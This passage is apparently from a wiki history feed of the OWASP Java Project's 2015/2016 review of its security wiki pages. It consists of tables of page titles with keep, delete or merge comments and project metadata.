|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| Updated by Mark Gordon. Thank you!&lt;br /&gt;
| No action needed&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify. &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|J2EE is completely outdated and only used in old legacy installation. No new projects are based on this environment. Moreover the page does not contain any useful information. Marked for deletion.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|See above. Propose to delete the page since it's not referenced by any other wiki page anymore.&lt;br /&gt;
| redirected to dependency check&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|redirected to sqlI cheatsheet&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|(See spanish page above)&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Delete&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=217631</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=217631"/>
				<updated>2016-06-04T13:23:45Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Updated and not of interest. Marked for deletion.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|Flagged for deletion, reason stated on page.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
| Looks updated&lt;br /&gt;
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|gone&lt;br /&gt;
|Deleted by admin&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| DELETED&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
| Looks legit&lt;br /&gt;
| Looks legit&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| Updated by Mark Gordon. Thank you!&lt;br /&gt;
| No action needed&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify. &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| redirected to dependency check&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|redirected to sqlI cheatsheet&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
